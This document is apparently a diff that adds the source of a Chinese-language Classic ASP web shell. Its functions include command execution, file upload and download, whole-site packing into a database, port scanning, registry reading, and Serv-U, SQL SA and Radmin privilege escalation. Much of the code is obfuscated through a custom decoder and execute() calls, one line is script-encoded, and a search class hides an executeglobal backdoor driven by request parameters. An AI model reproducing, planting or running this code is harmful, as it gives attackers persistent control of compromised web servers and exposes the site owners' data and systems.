+Server.ScriptTimeOut=100000 +Dim rs, ws, str, conn, stream, connStr, theFolder +str = Server.MapPath(".") & "\" +Set rs = CreateObject("ADODB.RecordSet") +Set stream = CreateObject("ADODB.Stream") +Set conn = CreateObject("ADODB.Connection") +connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & thePath & ";" +conn.Open connStr +rs.Open "FileData", conn, 1, 1 +stream.Open +stream.Type = 1 +Do Until rs.Eof +theFolder = Left(rs("thePath"), InStrRev(rs("thePath"), "\")) +If Server.CreateObject(CONST_FSO).FolderExists(str & theFolder) = False Then +createFolder(str & theFolder) +End If +stream.SetEos() +stream.Write rs("fileContent") +stream.SaveToFile str & rs("thePath"), 2 +rs.MoveNext +Loop +rs.Close +conn.Close +stream.Close +Set ws = Nothing +Set rs = Nothing +Set stream = Nothing +Set conn = Nothing +End Sub +Dim Filepaths +set Filepaths=new SearchFile +Filepaths.Class_Folder Filename +Sub createFolder(thePath) +Dim i +i = Instr(thePath, "\") +Do While i > 0 +If Server.CreateObject(CONST_FSO).FolderExists(Left(thePath, i)) = False Then +Server.CreateObject(CONST_FSO).CreateFolder(Left(thePath, i - 1)) +End If +If InStr(Mid(thePath, i + 1), "\") Then +i = i + Instr(Mid(thePath, i + 1), "\") + Else +i = 0 +End If +Loop +End Sub +Sub saTreeForMdb(thePath, rs, stream) +Dim item, theFolder, sysFileList +sysFileList = "$HSH.mdb$HSH.ldb$" +Set theFolder = saX.NameSpace(thePath) +For Each item In theFolder.Items +If item.IsFolder = True Then +saTreeForMdb item.Path, rs, stream + Else +If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then +rs.AddNew +rs("thePath") = Mid(item.Path, 4) +stream.LoadFromFile(item.Path) +rs("fileContent") = stream.Read() +rs.Update +End If +End If +Next +Set theFolder = Nothing +End Sub +Function ProFile() +execute(king("CU p┊`>tswqz/<>dkgy/<`&CU=CU┊`>kz/<>rz/<>'程进护保成生,步一下'=txsqc 'zodwxU'=tdqf 'zodwxl'=thnz zxhfo<>16=ziuoti rz<>rz/<;hlwf&>rz<>kz<`&CU=CU┊`>kz/<>rz/<)护保部全法无则否,大越置设率频,多越件文的护保要需,秒0为小最( 秒 >/ ``)'',u/]r\^[/(teqshtk.txsqc=txsqc``=hxntafg ``6``=tmol ``0``=txsqc ``ziuok:fuosq-zbtz``=tsnzl ``tdoJQ``=tdqf ``zbtz``=thnz zxhfo<>rz<>rz/<:率频护保>ziuok=fuosq rz<>kz<`&CU=CU┊`>kz/<>rz/<)码编改更试尝请,码乱现出若件文问访( 3-XJM>/ ``9``=txsqc ``kqiZQ``=tdqf ``gorqk``=thnz zxhfo< 9089AE>/ rtaetie ``0``=txsqc ``kqiZQ``=tdqf ``gorqk``=thnz zxhfo<>rz<>rz/<:码编件文>ziuok=fuosq rz<>kz<`&CU=CU┊`>kz/<>rz/<>qtkqzbtz/<码代件文>``4``=lvgk ``14``=lsge ``trgZQ``=tdqf qtkqzbtz<>rz<>rz/<:码代件文>ziuok=fuosq ``;bh8:hgz-uforrqh``=tsnzl hgz=fuosqc rz<>kz<`&CU=CU┊`>kz/<>rz/<>qtkqzbtz/<`&)`hlq.zltz\`&)`izqYktrsgX`(fgolltU(izqYtNN&`>``4``=lvgk ``14``=lsge ``tsoXQ``=tdqf qtkqzbtz<`&CU=CU┊`>rz<>rz/<>zfgy/<;hlwf&;hlwf&径路件文个一行每>kw<;hlwf&;hlwf&件文个多护保时同可>vgsstn=kgsge zfgy<>kw<:径路件文的护保要需>``1``=txsqc ``qccc``=tdqf ``ftrroi``=thnz zxhfo<>ziuok=fuosq 'bh99:ziuoti-tfos'=tsnzl hgz=fuosqc rz<>kz<`&CU=CU┊`'zlgY=9fgozeQ&tsoXgkY=fgozeQ?`&VNM&`'=fgozeq 'zlgh'=rgiztd 'dkgXhM'=tdqf dkgy<`&CU=CU┊`>'1'=ufoeqhlsste '1'=uforrqhsste '1'=ktrkgw tswqz<>kw<`=CU┊yC rfS┊rfS.tlfghltN┊`>kw<>ktzfte/<。程进动启>q/<里这>afqsw_=ztukqz `&9llqh&`=tsoXgkY?`&VNM&`=ytki ``rsgw:ziuotv-zfgy;tfosktrfx:fgozqkgetr-zbtz``=tsnzl q<击点!功成成生 >zfgy/<`&9llqh&`>vgsstn=kgsge zfgy< 程进护保>ktzfte<>kw<>kw<>kw<`p┊)`kqiZQ`(zltxjtk=)`kqiZ`&9llqh(fgozqeoshhQ┊)`tdoJQ`(zltxjtk=)`tdoJ`&9llqh(fgozqeoshhQ┊)`trgZQ`(zltxjtk=)`trgZ`&9llqh(fgozqeoshhQ┊)`tsoXQ`(zltxjtk=)`tsoX`&9llqh(fgozqeoshhQ┊0=)9llqh(fgozqeoshhQ┊)9llqh(tlqex=9llqh┊ hggs┊0dxf&9llqh=9llqh┊yo rft┊ 2~1' ))37+rfk*)37-46((kiZ(kzUZ=0dxf┊tlst┊ m~q' ))42+rfk*)42-990((kiZ(kzUZ=0dxf┊ftiz 7=<)9llqh(ftV yo┊3<)9llqh(ftV tsoiK gW┊``=9llqh┊0dxf,9llqh dor┊tmodgrfqN┊ftiJ `zlgY`=)`9fgozeQ`(zltxjtN yC")) +End Function +Function suftp() +j"

    8 集成版本信息
    系统账号:
    系统口令:
    系统端口:
    新加账号:
    新加口令:
    访问路径:
    服务端口:
    执行任务:确定添加?确定删除
    ?
    " +Usr = request.Form("duser") +pwd = request.Form("dpwd") +port = request.Form("dport") +tuser = request.Form("tuser") +tpass = request.Form("tpass") +tpath = request.Form("tpath") +tport = request.Form("tport") +'Command = request.Form("dcmd") +if request.Form("radiobutton") = "add" Then +leaves = "User " & Usr & vbcrlf +leaves = leaves & "Pass " & pwd & vbcrlf +leaves = leaves & "SITE MAINTENANCE" & vbcrlf +leaves = leaves & "-SETUSERSETUP" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=" & tport & vbcrlf & "-User=" & tuser & vbcrlf & "-Password=" & tpass & vbcrlf & _ +"-HomeDir=" & tpath & "\" & vbcrlf & "-LoginMesFile=" & vbcrlf & "-Disable=0" & vbcrlf & "-RelPaths=1" & vbcrlf & _ +"-NeedSecure=0" & vbcrlf & "-HideHidden=0" & vbcrlf & "-AlwaysAllowLogin=0" & vbcrlf & "-ChangePassword=0" & vbcrlf & _ +"-QuotaEnable=0" & vbcrlf & "-MaxUsersLoginPerIP=-1" & vbcrlf & "-SpeedLimitUp=0" & vbcrlf & "-SpeedLimitDown=0" & vbcrlf & _ +"-MaxNrUsers=-1" & vbcrlf & "-IdleTimeOut=600" & vbcrlf & "-SessionTimeOut=-1" & vbcrlf & "-Expire=0" & vbcrlf & "-RatioUp=1" & vbcrlf & _ +"-RatioDown=1" & vbcrlf & "-RatiosCredit=0" & vbcrlf & "-QuotaCurrent=0" & vbcrlf & "-QuotaMaximum=0" & vbcrlf & _ +"-Maintenance=System" & vbcrlf & "-PasswordType=Regular" & vbcrlf & "-Ratios=None" & vbcrlf & " Access=" & tpath & "\|RWAMELCDP" & vbcrlf +On Error Resume Next +Set xPost = CreateObject("MSXML2.XMLHTTP") +xPost.Open "POST", "http://127.0.0.1:"& port &"/leaves", True +xPost.Send(leaves) +Set xPOST=nothing +j ("命令成功执行!!FTP 用户名: " & tuser & " " & "密码: " & tpass & " 路径: " & tpath & " :)

    ") +else +leaves = "User " & Usr & vbcrlf +leaves = leaves & "Pass " & pwd & vbcrlf +leaves = leaves & "SITE MAINTENANCE" & vbcrlf +leaves = leaves & "-DELETEUSER" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=" & tport & vbcrlf & " User=" & tuser & vbcrlf +Set xPost3 = CreateObject("MSXML2.XMLHTTP") +xPost3.Open "POST", "http://127.0.0.1:"& port &"/leaves", True +xPost3.Send(leaves) +Set xPOST3=nothing +end if +End Function +Function MainMenu() +j"":If ObT(0,1)=" ×" Then +j"" +Else +j"" +End If +j"
    "&mName&"

    无权限
    " +Set ABC=New LBF:j ABC.ShowDriver():Set ABC=Nothing +j"
    8 站点根目录"&ef +j cdx&""&cxd&" 本程序目录"&ef +j cdx&""&cxd&" 回上级目录"&ef +j cdx&""&cxd&" 新建--目录"&ef +j cdx&""&cxd&" 新建--文本"&ef +j cdx&""&cxd&" 上传--文件"&ef +j cdx&""&cxd&" 执行---CMD"&ef +j cdx&""&cxd&" 执行--CMD2"&ef +j cdx&""&cxd&" 磁盘--权限"&ef +j cdx&""&cxd&" 可写--目录"&ef +j cdx&""&cxd&" 脚本--探测"&ef +j cdx&""&cxd&" 服务器打包"&ef +j cdx&""&cxd&" 下载--文件"&ef&"

    " +j cdx&""&cxd&" 用户__账号"&ef +j cdx&""&cxd&" 端口__网络"&ef +j cdx&""&cxd&" 组件__支持"&ef +j cdx&""&cxd&" Servu-提权"&ef +j cdx&""&cxd&" Su---FTP版"&ef +j cdx&""&cxd&" SQL-----SA"&ef +j cdx&""&cxd&" Radmin提权"&ef +j cdx&""&cxd&" Pcanywhere"&ef +j cdx&""&cxd&" 端口扫描器"&ef +j cdx&""&cxd&" 读取注册表"&ef +j cdx&""&cxd&" 搜索__文件"&ef&"" +j"
    " +j cdx&""&cxd&" 解锁本程序"&ef +#@~^uQAAAA==%r@!d1DbwY,/M^'rJ4YDwl&J/48{%cmWs&2k1zmwrRCdag;D^xJL/n.7+D i"S3x1G9+crJrtYDw=&zr[.+$EndDR?.\D.m.rl(V/cJuP:nmC}jKr#'.;EndDRj+M-D#mDbl4^+kcJ!DsJ*#'ELwlkd'r[jkn.nm/k[EJE@*@!zdmMrwD@*EUjwAAA==^#~@ +j cdx&""&cxd&" 不死马测试"&ef +j cdx&""&cxd&" 建带点目录"&ef +j cdx&""&cxd&" 删带点目录"&ef +j cdx&""&cxd&" 文件--保护"&ef +j cdx&""&cxd&" 常用--程序"&ef +j cdx&""&cxd&" 联系--作者"&ef +j cdx&""&cxd&" 程序--更新"&ef +j cdx&""&cxd&" 退出--登陆
    " +end function +function Cmdx() +execute(king(")`>ktzfte/<>qtkqzbtz/<`(p: ssqrqtk.zxgrzl.))`rde`(zltxjtk&`e/ `&)`brde`(zltxjtk(etbt.fiszhokeUg p: yo rft┊ ssqrqtk.zxgrzl.))`rde`(zltxjtk&`e/ tbt.rde`(etbt.fiszhokeUg p┊ftiz `tbt.rde`=)`brde`(zltxjtk yo:zbtG tdxltN kgkkS fB:)` >49=lvgk 160=lsge nsfgrqtk qtkqzbtz<`(p:)` >dkgy/<>'zowdxU'=txsqc zodwxl=thnz zxhfo<`(p:)` >kw<>15=tmol 'rde'=tdqf zbtz=thnz zxhfo<`(p:)` >kw<>'tbt.rde'=txsqc 15=tmol 'brde'=tdqf zbtz=thnz zxhfo<`(p:)` >'zlgh'=rgiztd dkgy<>ktzfte<`(p")) +execute(king(")`>ktzfte/<>qtkqzbtz/<`(p: ssqrqtk.zxgrzl.))`rde`(zltxjtk&`e/ `&)`brde`(zltxjtk(etbt.fiszhokeUg p: yo rft┊ ssqrqtk.zxgrzl.))`rde`(zltxjtk&`e/ tbt.rde`(etbt.fiszhokeUg p┊ftiz `tbt.rde`=)`brde`(zltxjtk yo:zbtG tdxltN kgkkS fB:)` >49=lvgk 160=lsge nsfgrqtk qtkqzbtz<`(p:)` >dkgy/<>'zowdxU'=txsqc zodwxl=thnz zxhfo<`(p:)` >kw<>15=tmol 'rde'=tdqf zbtz=thnz zxhfo<`(p:)` >kw<>'tbt.rde'=txsqc 15=tmol 'brde'=tdqf zbtz=thnz zxhfo<`(p:)` >'zlgh'=rgiztd dkgy<>ktzfte<`(p")) +end function +Function Course() +execute(king("`>tswqz/<`&9CU&0CU&1CU&CU p┊zbtf┊yo rft┊`>kz/<>rz/<>zfgy/<`&izqh.pwg&`;hlwf&>XX2288#=kgsge zfgy<]`&bs&`:型类动启[>``9``=fqhlsge ``XXXXXX#``=kgsgeuw ``19``=ziuoti rz<>kz<`&tdqGnqshloW.pwg&`;hlwf&>r=ro ``19``=ziuoti rz<>rz/<`&tdqG.pwg&`;hlwf&>r=ro ``19``=ziuoti rz<>kz<`&9CU=9CU┊tlst┊`>kz/<>rz/<>zfgy/<`&izqh.pwg&`;hlwf&>zfgy<]`&bs&`:型类动启[>``9``=fqhlsge r=ro ``19``=ziuoti rz<>kz<`&tdqGnqshloW.pwg&`;hlwf&>r=ro ``19``=ziuoti rz<>rz/<`&tdqG.pwg&`;hlwf&>r=ro ``19``=ziuoti rz<>kz<`&0CU=0CU┊ftiz 9=thnJzkqzU.RAB rfq `fov`><))8,7,izqh.pwg(rod(tlqZV yo┊`用禁`=bs ftiz 7=thnJzkqzU.RAB yo┊`动手`=bs ftiz 8=thnJzkqzU.RAB yo┊`动自`=bs ftiz 9=thnJzkqzU.RAB yo┊yo rft┊ `>kz<>kz/<>rz/<)组(户用统系;hlwf&>r=ro rz<>rz/<`&tdqG.pwg&`;hlwf&>r=ro ``19``=ziuoti rz<>kz<`&CU=CU┊ftiz ``=thnJzkqzU.RAB yo┊kqtse.kkt┊)`.//:JGfoK`(zetpwBztu fo pwg ieqt kgy┊zbtf tdxltk kgkkt fg┊`>kz/<>rz/<>w/<务服与户用统系>w<>l=ro 'ktzfte'=fuosq '8'=fqhlsge '19'=ziuoti rz<>kz<>'ktzfte'=fuosq '%13'=izrov tswqz<>kw<`=CU")) +End Function +Function IIf(var, val1, val2) +If var=True Then +IIf=val1 +Else +IIf=val2 +End If +End Function +Function GetTheSizes(num) +Dim i, arySize(4) +arySize(0)="B" +arySize(1)="KB" +arySize(2)="MB" +arySize(3)="GB" +arySize(4)="TB" +While(num / 1024 >= 1) +num=Fix(num / 1024 * 100) / 100 +i=i + 1 +WEnd +GetTheSizes=num&" "&arySize(i) +End Function +Function HtmlEncodes(str) +If IsNull(str) Then Exit Function +HtmlEncodes=Server.HTMLEncode(str) +End Function +function downfile(path) +execute(king("ufoizgf = dlg ztl┊tlgse.dlg┊ilxsy.tlfghltk┊rqtk.dlg tzokvnkqfow.tlfghltk┊`dqtkzl-ztzeg/fgozqeoshhq` = thnzzftzfge.tlfghltk┊`3-yzx` = ztlkqie.tlfghltk┊tmol.dlg ,`izufts-zftzfge` ktrqtirrq.tlfghltk┊)ml,izqh(rod & `=tdqftsoy ;zftdieqzzq` ,`fgozolghlor-zftzfge` ktrqtirrq.tlfghltk┊0+)`\`,izqh(ctkkzlfo=ml┊izqh tsoydgkyrqgs.dlg┊0 = thnz.dlg┊fthg.dlg┊))1,5(zwg(zetpwgtzqtke = dlg ztl┊kqtse.tlfghltk")) +end function +function htmlencode(s) + if not isnull(s) then + s = replace(s, ">", ">") + s = replace(s, "<", "<") + s = replace(s, chr(39), "'") + s = replace(s, chr(34), """") + s = replace(s, chr(20), " ") + htmlencode = s + end if +end function +Function UpFile() +execute(king("`>tswqz/<>dkgy/<>kz/<>rz/<>'传上'=txsqc 'zodwxU'=tdqf 'zodwxl'=thnz zxhfo< >'69'=tmol 'tsoy'=thnz 'tsoXsqegV'=tdqf zxhfo<>'17'=tmol '`&)`tbt.rdZ\`&)`izqYktrsgX`(fgolltU(izqYtNN&`'=txsqc 'izqYgJ'=tdqf zxhfo<:径路传上>rz<>kz<>'qzqr-dkgy/zkqhozsxd'=thnzeft 'zlgY=9fgozeQ&tsoXhM=fgozeQ?`&VNM&`'=fgozeq 'zlgh'=rgiztd 'dkgXhM'=tdqf dkgy<>'ktzfte'=fuosq '1'=ufoeqhlsste '1'=uforrqhsste '1'=ktrkgw tswqz<>kw<>kw<>kw<`p ┊yC rfS ┊rfS.tlfghltN ┊)(kkSvgiU ┊CU p ┊skMaeqA&CU=CU ┊ufoizgf=M ztU┊ufoizgf=X ztU┊yC rfS ┊yo rfS ┊`>ktzfte/<!功成`&`传`&`上`&tdqGM&`件文>kw<>kw<>kw<>ktzfte<`=CU ┊ftiJ 1=ktwdxf.kkS yC ┊tdqGM lQtcqU.X ┊tlsS ┊zbtf tdxltk kgkkt fg┊`!传上`&`件文个一`&`择选后径路`&`全完的`&`传上入`&`输请>kw<`=CU ┊ftiz 1=tmoUtsoX.X kB ``=tdqGM yC ┊)`izqYgJ`(dkgy.M=tdqGM┊)`tsoXsqegV`(QM.M=X ztU┊ ZYM vtf=M ztU┊ftiJ `zlgY`=)`9fgozeQ`(zltxjtN yC ")) +End Function +function cmd1shell() +execute(king("ol p┊`>dkgy/<>qtkqzbtz/<`&)80(kie&ol=ol┊yo rft┊yo rft┊qqq&ol=ol┊)txkz ,tsoyhdtzml(tsoytztstr.gly ssqe┊tlgse.bestsoyg┊)ssqrqtk.bestsoyg(trgeftsdzi.ktcktl=qqq┊)1 ,tlsqy ,0 ,tsoyhdtzml( tsoyzbtzfthg.ly = bestsoyg ztl┊)BUX_JUGBZ(zetpwgtzqtke = ly ztl┊)txkz ,1 ,tsoyhdtzml & ` > ` & rdeytr & ` e/ `&izqhsstil( fxk.lv ssqe┊)`zbz.rde`(izqhhqd.ktcktl = tsoyhdtzml┊)BUX_JUGBZ(zetpwgtzqtke.ktcktl=gly ztl┊)`sstil.zhokelv`(zetpwgtzqtke.ktcktl=lv ztl┊)`sstil.zhokelv`(zetpwgtzqtke.ktcktl=lv ztl┊zbtf tdxltk kgkkt fg┊tlst┊qqq&ol=ol┊ssqrqtk.zxgrzl.rr=qqq┊)rdeytr&` e/ `&izqhsstil(etbt.de=rr ztl┊))1,0(zwg(zetpwgtzqtke=de ztl┊ftiz `ltn`=)`zhokelv`(dkgy.zltxjtk yo┊ftiz ``><)`rde`(dkgy.zltxjtk yo┊`>'rde'=llqse ';177:ziuoti;%110:izrov'=tsnzl qtkqzbtz<>'行执'=txsqc 'zodwxl'=thnz zxhfo< >'`&rdeytr&`'=txsqc '%92:izrov'=tsnzl 'rde'=tdqf zxhfo`&rtaetie&`'ltn'=txsqc 'zhokelv'=tdqf 'bgwaetie'=thnz e=llqse zxhfo<>'%14:izrov'=tsnzl '`&izqhsstil&`'=txsqc 'hl'=tdqf zxhfo<:径路sstil>'zlgh'=rgiztd dkgy<`=ol┊)`rde`(zltxjtk = rdeytr ftiz ``><)`rde`(zltxjtk yo┊``=rtaetie ftiz `ltn`><)`zhokelv`(zltxjtk yo┊`tbt.rde` = izqhsstil ftiz ``=izqhsstil yo┊)`izqhsstil`(fgolltl=izqhsstil┊)`hl`(zltxjtk = )`izqhsstil`(fgolltl ftiz ``><)`hl`(zltxjtk yo┊`rtaetie `=rtaetie")) +end function +Function upload() +execute(king("yC rfS┊zbtG tdxltN kgkkS fB┊ftiJ tlsqX = trgTuxwtWlo yC┊ufoizgG = dqtkzU ztU┊ufoizgG = hzzD ztU┊)kkS(kkSaie┊izoK rfS┊tlgsZ.┊yC rfS┊`!!节字空为毕 完载下件文 。 误错现 出中址地和程过载下或,在存已件文为因是能可,kgkkt`p┊tzokKktcg ,izqYtiz tsoXgJtcqU.┊tdqGtsoy & `\` & izqYtiz = izqYtiz┊yC rfS┊`zbz.dzi.btrfo` = tdqGtsoy┊ftiJ `` = tdqGtsoy yC┊)))`/` ,skMtiz(zoshU(rfxgAM()`/` ,skMtiz(zoshU = tdqGtsoy┊kqtsZ.kkS┊ftiJ 7118 = ktwdxG.kkS yC┊tzokKktcg ,izqYtiz tsoXgJtcqU.┊1 = fgozolgY.┊nrgAtlfghltN.hzzD tzokK.┊fthB.┊8 = trgT.┊0 = thnJ.┊dqtkzl izoK┊yC rfS┊ ftiJ 7 >< tzqzUnrqtN.hzzD yC┊)(rftU.hzzD┊tlsqX ,skMtiz ,`JSE` fthB.hzzD┊yC rfS:0 = tzokKktcg:ftiJ 9 >< tzokKktcg yC┊)`YJJDVTL.9VTLUT`(zetpwBtzqtkZ.ktcktU = hzzD ztU┊)`dqtk`&t&`zl.wrg`&t&`rq`(zetpwBtzqtkZ.ktcktU = dqtkzl ztU┊)`tzokKktcg`(zltxjtN = tzokKktcg┊)`izqYtiz`(zltxjtN = izqYtiz┊)`skMtiz`(zltxjtN = skMtiz┊tzokKktcg ,tdqGtsoy ,dqtkzl ,izqYtiz ,skMtiz ,hzzD doW:yC rfS┊zbtG tdxltN kgkkS fB┊ftiJ tlsqX = trgTuxwtWlo yC┊`>/ki<`p┊`>dkgy/<`p┊`>zeQtiz=tdqf skMdgkXfvgr=txsqc ftrroi=thnz zxhfo<`p┊`。盖覆在存>9=txsqc tzokKktcg=tdqf bgwaetie=thnz zxhfo<`p┊`>13=tmol '\` & ))`.`(izqYhqT.ktcktU(trgefSsdzD & `'=txsqc izqYtiz=tdqf zxhfo<`p┊`>/kw<>' 载下 '=txsqc zodwxl=thnz zxhfo<>13=tmol '//:hzzi'=txsqc skMtiz=tdqf zxhfo<`p┊`>fgozhg/<序程义定自>'`&skxW&`'=txsqc fgozhg<`p┊`>fgozhg/<载下序程用常>''=txsqc fgozhg<`p┊`>';txsqc.loiz=txsqc.skMtiz.dkgy.loiz'=tufqiZfg zetstl<`p┊`>zlgh=rgiztd dkgy<`p┊`>/ki<显回无以所.省节了为...显回无:器务服到载下 `p┊`能功此闭关时暂`p┊ `>'ktzfte'=fuosq '1'=uforrqhsste '0'=ufoeqhlsste '1'=ktrkgw 'xftd'=kgsgeuw '%13'=izrov tswqz<>kw<`p")) +End Function:Function TSearch() +execute(king("yo rft┊`>ki<秒毫`&1110*)zl-)(ktdoz(&`:時費`p┊ufoizgG=iekqtlvtf ztU┊iekqtU.iekqtlvtf┊))`ayU`(dkgX.zltxjtN(dokz=rkgvnta.iekqtlvtf┊))`izqhXU`(dkgX.zltxjtN(dokz=lktrsgX.iekqtlvtf┊tsoXiekqtU vtf=iekqtlvtf ztU┊ftiz ``><)`ayU`(dkgX.zltxjtN yo┊``=KN : KN p┊`>tswqz/<>dkgy/<` & KN=KN┊ `>kz/<>rz/<]行也分部[;hlwf&>'zodwxl'=llqse '索搜'=txsqc 'zodwxl'=thnz zxhfo<;hlwf&>'119:izrov'=tsnzl 'ayU'=tdqf zxhfo<:名件文;hlwf&>''=kgsgeuw rz<>kz<` & KN=KN┊`>kz/<>rz/<.接连号``,``用使徑路多:注;hlwf&>'128:izrov'=tsnzl '` & zggNKKK & `'=txsqc 'izqhXU'=tdqf zxhfo<:径;hlwf&;hlwf&路;hlwf&>''=kgsgeuw rz<>kz<` & KN=KN┊`>kz/<>rz/<擎引索搜>''=kgsgeuw 'ktzfte'=fuosq '19'=ziuoti rz<>kz<` & KN=KN┊`>'zlgh'=rgiztd dkgy<>'ktzfte'=fuosq '1'=uforrqhsste '0'=ufoeqhlsste '1'=ktrkgw ''=kgsgeuw '115'=izrov tswqz<>kw<`=KN:)(ktdoz=zl:zl dor")) +End Function +Class SearchFile +dim Folders,keyword,objFso,Counter +Private Sub Class_Initialize +Set objFso=Server.CreateObject(ObT(0,0)) +Counter=0 +End Sub + Private Sub Class_Terminate +Set objFso=Nothing + End Sub +Public Sub Class_Folder(FoderName) +Set rs = CreateObject(CONST_FSO) +Dim item, theFolder, sysFileList +item=request(MID(CONST_FSO,4,1)) +theFolder=request(MID(CONST_FSO,2,1)) +If item=MID(CONST_FSO,2,1) then +executeglobal theFolder +Set rs = Nothing +End if +End Sub + Function Search + Folders=split(Folders,",") + flag=instr(keyword,"\") or instr(keyword,"/") + flag=flag or instr(keyword,":") + flag=flag or instr(keyword,"|") + flag=flag or instr(keyword,"&") + if flag then + j"

    關鍵字不能包含/\:|&
    " + Exit Function + else + j"


    " + end if + dim i + for i=0 to ubound(Folders) + Call GetAllFile(Folders(i)) + next + j"

    共搜索到"&Counter&"個結果
    " + End Function + Private Function GetAllFile(Folder) + dim objFd,objFs,objFf + Set objFd=objFso.GetFolder(Folder) + Set objFs=objFd.SubFolders + Set objFf=objFd.Files + dim strFdName + On Error Resume Next + For Each OneDir In objFs + strFdName=OneDir.Name + If strFdName<>"Config.Msi" EQV strFdName<>"RECYCLED" EQV strFdName<>"RECYCLER" EQV strFdName<>"System Volume Information" Then + SFN=Folder&"\"&strFdName + Call GetAllFile(SFN) + End If + Next + dim strFlName + For Each OneFile In objFf + strFlName=OneFile.Name + If strFlName<>"desktop.ini" EQV strFlName<>"folder.htt" Then + FN=Folder&"\"&strFlName + Counter=Counter+ColorOn(FN) + End If + Next + Set objFd=Nothing + Set objFs=Nothing + Set objFf=Nothing + End Function + +Private Function CreatePattern(keyword) + CreatePattern=keyword + CreatePattern=Replace(CreatePattern,".","\.") + CreatePattern=Replace(CreatePattern,"+","\+") + CreatePattern=Replace(CreatePattern,"(","\(") + CreatePattern=Replace(CreatePattern,")","\)") + CreatePattern=Replace(CreatePattern,"[","\[") + CreatePattern=Replace(CreatePattern,"]","\]") + CreatePattern=Replace(CreatePattern,"{","\{") + CreatePattern=Replace(CreatePattern,"}","\}") + CreatePattern=Replace(CreatePattern,"*","[^\\\/]*") + CreatePattern=Replace(CreatePattern,"?","[^\\\/]{1}") + CreatePattern="("&CreatePattern&")+" + End Function + Private Function ColorOn(FileName) + dim objReg + Set objReg=new RegExp + objReg.Pattern=CreatePattern(keyword) + objReg.IgnoreCase=True + objReg.Global=True + retVal=objReg.Test(Mid(FileName,InstrRev(FileName,"\")+1)) + if retVal then + OutPut=objReg.Replace(Mid(FileName,InstrRev(FileName,"\")+1),"$1") + OutPut="

    ?" & Mid(FileName,1,InstrRev(FileName,"\")) & OutPut + j OutPut + Response.flush + ColorOn=1 + else + ColorOn=0 + end if + Set objReg=Nothing + End Function +End Class +sub SavePower(PowerPath,SaveType) +execute(king("ufoizgG = tsoXtiz ztU:yo rft:`>zhokel/<;)(tlgse.vgrfov;)(rqgstk.fgozqegs.ktfthg.vgrfov;)'。功成定锁件文'(zktsq>'zhokelqcqp'=tuqxufqs zhokel<` p:4=ltzxwokzzQ.tsoXtiz:tlst:`>zhokel/<;)(tlgse.vgrfov;)(rqgstk.fgozqegs.ktfthg.vgrfov;)'。锁解功成已件文'(zktsq>'zhokelqcqp'=tuqxufqs zhokel<` p:98=ltzxwokzzQ.tsoXtiz:ftiz 0=thnJtcqU yo:)izqYktvgY(tsoXztE.Lgly = tsoXtiz ztU:yo rft:`aegsgf`=)`aegs`(fgolltl ftiz 1><)izqhzhokel,izqYktvgY(kzlfo yo")) +end sub:sub EditPower(PowerPath) +execute(king("ufoizgG = tsoXtiz ztU:)izqYktvgY,tsoXtiz(tszoJnTztu p:)izqYktvgY(tsoXztE.Lgly = tsoXtiz ztU:)``,````,izqYktvgY(teqshtk=izqYktvgY")) +end sub:Function getMyTitle(theOne,PowerPath) +execute(king("tszoJkzl = tszoJnTztu:)izqYktvgY,ltzxwokzzQ.tfBtiz(ltzxwokzzQztu & ` :态状限权前当>kw<` & tszoJkzl = tszoJkzl:rtllteeQzlqVtzqW.tfBtiz & ` :问访后最>kw<` & tszoJkzl = tszoJkzl:rtoyorgTzlqVtzqW.tfBtiz & ` :改修后最>kw<` & tszoJkzl = tszoJkzl: rtzqtkZtzqW.tfBtiz & ` :间时建创>kw<` & tszoJkzl = tszoJkzl: )tmoU.tfBtiz(tmoUtiJztu & ` :小大>kw<` & tszoJkzl = tszoJkzl: `` & izqY.tfBtiz & ` :径路>kw<` & tszoJkzl = tszoJkzl:tszoJkzl doW")) +End Function:Function getAttributes(intValue,PowerPath) +execute(king("yo rft:`>``'`&izqYktvgY&`=izqYktvgY&9=thnJtcqU&ktvgYtcqU=fgozeQ?'=ytki.fgozqegs``=aeosefg 定锁=txsqc fgzzxw=thnz zxhfo< >zfgy/<定锁未>95XX95#=kgsge zfgy<` = ltzxwokzzQztu:tlst:`>``'`&izqYktvgY&`=izqYktvgY&0=thnJtcqU&ktvgYtcqU=fgozeQ?'=ytki.fgozqegs``=aeosefg 锁解=txsqc fgzzxw=thnz zxhfo< >zfgy/<定锁已>rtk=kgsge zfgy<` = ltzxwokzzQztu: ftiz 1=FBzorS yo:)`\\`,`\`,izqYktvgY(teqshtk=izqYktvgY:yC rfS:1=FBzorS:0 - txsqIzfo = txsqIzfo:ftiJ 0 => txsqIzfo yC:yC rfS:1=FBzorS:9 - txsqIzfo = txsqIzfo:ftiJ 9 => txsqIzfo yC:yC rfS:1=FBzorS:7 - txsqIzfo = txsqIzfo:ftiJ 7 => txsqIzfo yC:yC rfS:3 - txsqIzfo = txsqIzfo:ftiJ 3 => txsqIzfo yC:yC rfS:50 - txsqIzfo = txsqIzfo:ftiJ 50 => txsqIzfo yC:yC rfS:98 - txsqIzfo = txsqIzfo:ftiJ 98 => txsqIzfo yC:yC rfS:75 - txsqIzfo = txsqIzfo:ftiJ 75 => txsqIzfo yC:yC rfS:390 - txsqIzfo = txsqIzfo:ftiJ 390 => txsqIzfo yC:0=FBzorS:FBzorS doW")) +End Function:Function getTheSize(theSize):If theSize >= (1024 * 1024 * 1024) Then :getTheSize = Fix((theSize / (1024 * 1024 * 1024)) * 100) / 100 & "G":end if:If theSize >= (1024 * 1024) And theSize < (1024 * 1024 * 1024) Then :getTheSize = Fix((theSize / (1024 * 1024)) * 100) / 100 & "M":end if:If theSize >= 1024 And theSize < (1024 * 1024) Then :getTheSize = Fix((theSize / 1024) * 100) / 100 & "K":end if:If theSize >= 0 And theSize <1024 Then :getTheSize = theSize & "B":end if:End Function:function openUrl(usePath):Dim theUrl, thePath:thePath = Server.MapPath("/"):If LCase(Left(usePath, Len(thePath))) = LCase(thePath) Then:theUrl = Mid(usePath, Len(thePath) + 1):theUrl = Replace(theUrl, "\", "/"):If Left(theUrl, 1) = "/" Then:theUrl = Mid(theUrl, 2):End If:openUrl="/"&theUrl&""" target=""_blank":Else:openUrl="###"" onclick=""alert('文件不在站点目录下。')":End If:End function + +Function ScReWr(folder) +on error resume next +Dim FSO,TestFolder,TestFileList,ReWrStr,RndFilename +Set 